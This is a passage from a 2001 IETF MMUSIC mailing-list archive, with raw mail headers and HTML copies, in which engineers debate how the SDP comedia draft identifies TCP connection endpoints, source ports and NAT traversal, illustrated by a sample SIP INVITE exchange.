FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">confctrl@ISI.EDU</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">IANA Registration of SDP =
attributes</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Appendix B of RFC2327 describes how to =
register new attributes with IANA.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I went to the <A =
HREF=3D"http://www.iana.org" TARGET=3D"_blank">http://www.iana.org</A> =
to see what attributes had been </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">registered and I couldn't find =
any.&nbsp; Has anyone registered an attribute </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">with IANA and if so, where are they =
listed?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Chip</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">---------------------------------------------------------=
----------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Chip =
Sharp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Consulting Engineering</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Cisco Systems</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">---------------------------------------------------------=
----------</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0F25B.C9EE7E90--

From confctrl-owner  Mon Jun 11 05:44:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA01784
	for confctrl-outgoing; Mon, 11 Jun 2001 05:44:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA01779
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 05:44:39 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BCicZ13203
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 05:44:40 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id IAA13905;
	Mon, 11 Jun 2001 08:45:09 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010611084015.00a60438@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 11 Jun 2001 08:43:30 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>
From: David Yon <yon@dialout.net>
Subject: Re: [Sip-implementors] problem
  indraft-ietf-mmusic-sdp-comedia-00?
Cc: MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B2155D7.9D6D343C@cisco.com>
References: <15130.21550.973473.551003@jodie.lucid>
 <20010604093456.A7248@div8.net>
 <15131.39170.605054.116421@jodie.lucid>
 <5.0.2.1.2.20010608174046.00a61a40@mail.dialout.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 06:46 PM 6/8/2001, you wrote:
> >
> > If N/PAT was not the scenario you were considering, could you elaborate
> > more on issue?  Thanks!
>
>No, the point isn't that I can't *trust* the address given in the SDP.
>
>One point is that the address my listener is at may differ from the
>address that I might connect from.

Why would that be the case?  There is no parallel in the traditional usage 
of SDP where RTCP/UDP streams are being described.  The IP Address you 
advertise in SDP is the address at which you intend to communicate.


>It isn't apparent (to me) if the proposal makes this assumption or not.
>If it does, then at least I can stop worrying about how to make things
>work on the listening side if it isn't true (which is what I have been
>doing), and instead start worrying about how to ensure that I connect
>from the same address I listen on.
>
>Another point is that the c= line may not uniquely identify a connecting
>endpoint.
>What if the direction:active endpoint is redundant, and provides a c=
>with a DNS name that maps to multiple addresses? Does the
>direction:passive endpoint accept a connect from any of the addresses?

A DNS name is not valid in the "c=" line---it must be a specific 
address.  Check the SDP spec for details:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-02.txt


> >
> > At 02:30 PM 6/8/2001, Paul Kyzivat wrote:
> > >I believe there are some problems in draft-ietf-mmusic-sdp-comedia-00,
> > >at least when used with SIP. I made a posting to sip-implementors
> > >earlier but got no responses, so I will try here.
> > >
> > >Consider an endpoint like a gateway that might be establishing many
> > >connections simultaneously, and assume it wants to act in
> > >direction:passive or direction:both. To do so, it hands out SDP
> > >specifying the port number it will listen on for connections. If it uses
> > >the same port number for multiple concurrent connections, then it will
> > >have difficulty in telling which incoming connection belongs to each
> > >pending call. (This is essentially the same problem that section 3 -
> > >Source-Port Considerations attempts to address, but the problem is
> > >actually a larger one that the draft doesn't address.)
> > >
> > >The <source-port> is supposed to make it possible to sort this out. But
> > >that can only distinguish between incoming connections from the same
> > >address - requests from different addresses could be using the same
> > >port.
> > >
> > >Perhaps the draft assumes that the connection will be from the c= in the
> > >sdp from the other endpoint. But that is a pretty shaky assumption.
> > >
> > >The only certain solution I can see without changing the draft is to
> > >dedicate a listening port for the duration of a single invitation. But
> > >this is a costly solution. Alternately, the syntax could be extended to:
> > >
> > >        a=direction:<role> <source-port> <source-address>
> > >
> > >I believe this would solve the problem if <source-port> and
> > ><source-address> are provided. Ensuring this would require making them
> > >mandatory rather than optional as currently specified.
> > >
> > >         Paul Kyzivat
> > >         Cisco Systems
> >
> > David Yon
> > Chief Technical Officer
> > Dialout.Net, Inc.
> > 402 Amherst St.
> > Nashua, NH 03063
> > Voice   +1-603-577-8708 x206
> > Fax     +1-603-578-9564
> > yon@dialout.net


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Mon Jun 11 06:47:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA04931
	for confctrl-outgoing; Mon, 11 Jun 2001 06:47:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA04926
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 06:47:31 -0700 (PDT)
Received: from exchange1.nuera.com (igate.nuera.com [204.216.240.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BDlWZ26196
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 06:47:33 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2650.21)
	id <LA2LKAAW>; Mon, 11 Jun 2001 06:47:17 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD728B1@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'David Yon'" <yon@dialout.net>, Paul Kyzivat <pkyzivat@cisco.com>
Cc: MMUSIC <confctrl@ISI.EDU>
Subject: RE: [Sip-implementors] problem indraft-ietf-mmusic-sdp-comedia-00
	?
Date: Mon, 11 Jun 2001 06:47:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0F27D.06FCF9D0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0F27D.06FCF9D0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Paul,

I believe the confusion is due to the fact that comedia makes the assumption
that when an application establishes a logical bidirectional "session" using
two session descriptions (one for each side) then every TCP connection
establishes a bidirectional communications channel between the two
applications. It should be remembered that only one side of the TCP
connection may be connected to a port specified in just one of the session
descriptions. [It also assumes that both applications have knowledge of both
session descriptions.]

This is in contrast to the UDP based solution where there is no concept of
bidirectional connections (except as two unidirectional channel) and that
each session description only describes how to receive media.

I tried to clarify/specify this concept more completely in my SCTP profile
(which must also deal with these connection-based issues). [Especially in
the rules for sending/receiving media and opening/closing SCTP
associations.]

http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt
<http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt> 

David, I do agree with Paul that perhaps a little more clarification would
be helpful to explain the slight shift in paradigm from UDP. 

This change is not arbitrary and is in fact quite powerful for solving
NAT/NAPT traversal (where just one endpoint is behind the NAPT). 

See also: 

http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenberg-sip-entfw-01.txt
<http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenberg-sip-entfw-01.txt
> 

Cheers,

Robert.

-----Original Message-----
From:	David Yon [mailto:yon@dialout.net]
Sent:	Monday, June 11, 2001 1:44 PM
To:	Paul Kyzivat
Cc:	MMUSIC
Subject:	Re: [Sip-implementors] problem
indraft-ietf-mmusic-sdp-comedia-00?

At 06:46 PM 6/8/2001, you wrote:
> >
> > If N/PAT was not the scenario you were considering, could you elaborate
> > more on issue?  Thanks!
>
>No, the point isn't that I can't *trust* the address given in the SDP.
>
>One point is that the address my listener is at may differ from the
>address that I might connect from.

Why would that be the case?  There is no parallel in the traditional usage 
of SDP where RTCP/UDP streams are being described.  The IP Address you 
advertise in SDP is the address at which you intend to communicate.


>It isn't apparent (to me) if the proposal makes this assumption or not.
>If it does, then at least I can stop worrying about how to make things
>work on the listening side if it isn't true (which is what I have been
>doing), and instead start worrying about how to ensure that I connect
>from the same address I listen on.
>
>Another point is that the c= line may not uniquely identify a connecting
>endpoint.
>What if the direction:active endpoint is redundant, and provides a c=
>with a DNS name that maps to multiple addresses? Does the
>direction:passive endpoint accept a connect from any of the addresses?

A DNS name is not valid in the "c=" line---it must be a specific 
address.  Check the SDP spec for details:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-02.txt


> >
> > At 02:30 PM 6/8/2001, Paul Kyzivat wrote:
> > >I believe there are some problems in draft-ietf-mmusic-sdp-comedia-00,
> > >at least when used with SIP. I made a posting to sip-implementors
> > >earlier but got no responses, so I will try here.
> > >
> > >Consider an endpoint like a gateway that might be establishing many
> > >connections simultaneously, and assume it wants to act in
> > >direction:passive or direction:both. To do so, it hands out SDP
> > >specifying the port number it will listen on for connections. If it
uses
> > >the same port number for multiple concurrent connections, then it will
> > >have difficulty in telling which incoming connection belongs to each
> > >pending call. (This is essentially the same problem that section 3 -
> > >Source-Port Considerations attempts to address, but the problem is
> > >actually a larger one that the draft doesn't address.)
> > >
> > >The <source-port> is supposed to make it possible to sort this out. But
> > >that can only distinguish between incoming connections from the same
> > >address - requests from different addresses could be using the same
> > >port.
> > >
> > >Perhaps the draft assumes that the connection will be from the c= in
the
> > >sdp from the other endpoint. But that is a pretty shaky assumption.
> > >
> > >The only certain solution I can see without changing the draft is to
> > >dedicate a listening port for the duration of a single invitation. But
> > >this is a costly solution. Alternately, the syntax could be extended
to:
> > >
> > >        a=direction:<role> <source-port> <source-address>
> > >
> > >I believe this would solve the problem if <source-port> and
> > ><source-address> are provided. Ensuring this would require making them
> > >mandatory rather than optional as currently specified.
> > >
> > >         Paul Kyzivat
> > >         Cisco Systems
> >
> > David Yon
> > Chief Technical Officer
> > Dialout.Net, Inc.
> > 402 Amherst St.
> > Nashua, NH 03063
> > Voice   +1-603-577-8708 x206
> > Fax     +1-603-578-9564
> > yon@dialout.net


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net

------_=_NextPart_001_01C0F27D.06FCF9D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: [Sip-implementors] problem =
indraft-ietf-mmusic-sdp-comedia-00?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Paul,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I believe the confusion is due to the =
fact that comedia makes the assumption that when an application =
establishes a logical bidirectional "session" using two session =
descriptions (one for each side)</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">then every TCP connection</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"></FONT> <FONT SIZE=3D2 FACE=3D"Arial">establishes a =
bidirectional communications channel</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"> between the two applications. It should be remembered =
that only</FONT><I> <FONT SIZE=3D2 FACE=3D"Arial">one</FONT></I><FONT =
SIZE=3D2 FACE=3D"Arial"> side of the TCP connection may be connected to =
a port specified in just</FONT><I> <FONT SIZE=3D2 =
FACE=3D"Arial">one</FONT></I><FONT SIZE=3D2 FACE=3D"Arial"> of the =
session descriptions. [It also assumes that both applications have =
knowledge of both session descriptions.]</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">This is in contrast to the UDP based =
solution where there is no concept of bidirectional connections (except =
as two unidirectional channel) and that each session description only =
describes how to</FONT><I> <FONT SIZE=3D2 =
FACE=3D"Arial">receive</FONT></I><FONT SIZE=3D2 FACE=3D"Arial"> =
media.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I tried to clarify/specify this =
concept more completely in my SCTP profile (which must also deal with =
these connection-based issues). [Especially in the rules for =
sending/receiving media and opening/closing SCTP =
associations.]</FONT></P>

<P><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sct=
p-00.txt"><U><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial">http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-=
sdp-sctp-00.txt</FONT></U></A>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">David, I do agree with Paul that =
perhaps a little more clarification would be helpful to explain the =
slight shift in paradigm from UDP. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">This change is not arbitrary and is in =
fact quite powerful for solving NAT/NAPT traversal (where just one =
endpoint is behind the NAPT). </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">See also: </FONT>
</P>

<P><A =
HREF=3D"http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenberg-sip-e=
ntfw-01.txt"><U><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial">http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenber=
g-sip-entfw-01.txt</FONT></U></A>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Cheers,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Robert.</FONT>
</P>

<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; David Yon [<A =
HREF=3D"mailto:yon@dialout.net">mailto:yon@dialout.net</A>]</FONT></B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Monday, June 11, 2001 1:44 PM</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">Paul Kyzivat</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">MMUSIC</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">Re: [Sip-implementors] problem =
indraft-ietf-mmusic-sdp-comedia-00?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">At 06:46 PM 6/8/2001, you =
wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; If N/PAT was not the =
scenario you were considering, could you elaborate</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; more on issue?&nbsp; =
Thanks!</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;No, the point isn't that I can't =
*trust* the address given in the SDP.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;One point is that the address my =
listener is at may differ from the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;address that I might connect =
from.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Why would that be the case?&nbsp; =
There is no parallel in the traditional usage </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">of SDP where RTCP/UDP streams are =
being described.&nbsp; The IP Address you </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">advertise in SDP is the address at =
which you intend to communicate.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt;It isn't apparent (to me) if the =
proposal makes this assumption or not.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;If it does, then at least I can =
stop worrying about how to make things</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;work on the listening side if it =
isn't true (which is what I have been</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;doing), and instead start =
worrying about how to ensure that I connect</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;from the same address I listen =
on.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Another point is that the c=3D =
line may not uniquely identify a connecting</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;endpoint.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;What if the direction:active =
endpoint is redundant, and provides a c=3D</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;with a DNS name that maps to =
multiple addresses? Does the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;direction:passive endpoint accept =
a connect from any of the addresses?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">A DNS name is not valid in the =
&quot;c=3D&quot; line---it must be a specific </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">address.&nbsp; Check the SDP spec for =
details:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-02=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mmusic-=
sdp-new-02.txt</A></FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; At 02:30 PM 6/8/2001, Paul =
Kyzivat wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;I believe there are =
some problems in draft-ietf-mmusic-sdp-comedia-00,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;at least when used with =
SIP. I made a posting to sip-implementors</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;earlier but got no =
responses, so I will try here.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Consider an endpoint =
like a gateway that might be establishing many</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;connections =
simultaneously, and assume it wants to act in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;direction:passive or =
direction:both. To do so, it hands out SDP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;specifying the port =
number it will listen on for connections. If it uses</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;the same port number =
for multiple concurrent connections, then it will</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;have difficulty in =
telling which incoming connection belongs to each</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;pending call. (This is =
essentially the same problem that section 3 -</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Source-Port =
Considerations attempts to address, but the problem is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;actually a larger one =
that the draft doesn't address.)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;The &lt;source-port&gt; =
is supposed to make it possible to sort this out. But</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;that can only =
distinguish between incoming connections from the same</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;address - requests from =
different addresses could be using the same</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;port.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Perhaps the draft =
assumes that the connection will be from the c=3D in the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;sdp from the other =
endpoint. But that is a pretty shaky assumption.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;The only certain =
solution I can see without changing the draft is to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;dedicate a listening =
port for the duration of a single invitation. But</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;this is a costly =
solution. Alternately, the syntax could be extended to:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
a=3Ddirection:&lt;role&gt; &lt;source-port&gt; =
&lt;source-address&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;I believe this would =
solve the problem if &lt;source-port&gt; and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;&lt;source-address&gt; =
are provided. Ensuring this would require making them</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;mandatory rather than =
optional as currently specified.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Paul =
Kyzivat</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cisco =
Systems</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; David Yon</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Chief Technical =
Officer</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Dialout.Net, Inc.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; 402 Amherst St.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Nashua, NH 03063</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Voice&nbsp;&nbsp; =
+1-603-577-8708 x206</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Fax&nbsp;&nbsp;&nbsp;&nbsp; =
+1-603-578-9564</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; yon@dialout.net</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">David Yon</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Chief Technical Officer</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Dialout.Net, Inc.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">402 Amherst St.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Nashua, NH 03063</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Voice&nbsp;&nbsp; +1-603-577-8708 =
x206</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Fax&nbsp;&nbsp;&nbsp;&nbsp; =
+1-603-578-9564</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">yon@dialout.net</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0F27D.06FCF9D0--

From confctrl-owner  Mon Jun 11 09:24:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA13237
	for confctrl-outgoing; Mon, 11 Jun 2001 09:24:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA13232
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 09:24:48 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BGOnZ10242
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 09:24:49 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5BGNKX16832;
	Mon, 11 Jun 2001 12:23:20 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAS00432 (AUTH pkyzivat);
	Mon, 11 Jun 2001 12:24:40 -0400 (EDT)
Message-ID: <3B24EFEA.AB2C746D@cisco.com>
Date: Mon, 11 Jun 2001 12:20:58 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <yon@dialout.net>
CC: MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors] problemindraft-ietf-mmusic-sdp-comedia-00?
References: <15130.21550.973473.551003@jodie.lucid>
	 <20010604093456.A7248@div8.net>
	 <15131.39170.605054.116421@jodie.lucid>
	 <5.0.2.1.2.20010608174046.00a61a40@mail.dialout.net> <5.0.2.1.2.20010611084015.00a60438@mail.dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



David Yon wrote:
> 
> >One point is that the address my listener is at may differ from the
> >address that I might connect from.
> 
> Why would that be the case?  There is no parallel in the traditional usage
> of SDP where RTCP/UDP streams are being described.  The IP Address you
> advertise in SDP is the address at which you intend to communicate.

I disagree. There has been a fair amount of discussion on this subject,
on the sip-implementors mailing list I believe. Consider the case:

   User A                  User B
     |                        |
     |       INVITE F1        |
     |----------------------->|
     |       200 OK F2        |
     |<-----------------------|
     |         ACK F3         |
     |----------------------->|

with (simplified) message detail as follows:

   F1 INVITE User A -> User B

   INVITE sip:UserB@there.com SIP/2.0
   From: BigGuy <sip:UserA@here.com>
   To: LittleGuy <sip:UserB@there.com>

   v=0
   o=UserA 2890844526 2890844526 IN IP4 here.com
   s=Session SDP
   c=IN IP4 100.101.102.103
   t=0 0
   m=audio 49172 RTP/AVP 0

   F2 200 OK User B -> User A

   SIP/2.0 200 OK
   From: BigGuy <sip:UserA@here.com>
   To: LittleGuy <sip:UserB@there.com>;tag=8321234356

   v=0
   o=UserB 2890844527 2890844527 IN IP4 there.com
   s=Session SDP
   c=IN IP4 110.111.112.113
   t=0 0
   m=audio 3456 RTP/AVP 0

The address from the c= in F1 plus the port in the m= says that User A
expects data to be sent to 100.101.102.103:49172, while F2 says that
User B expects data to be sent to 110.111.112.113:3456. But I am quite
sure I have read that User A should not expect or require the sender of
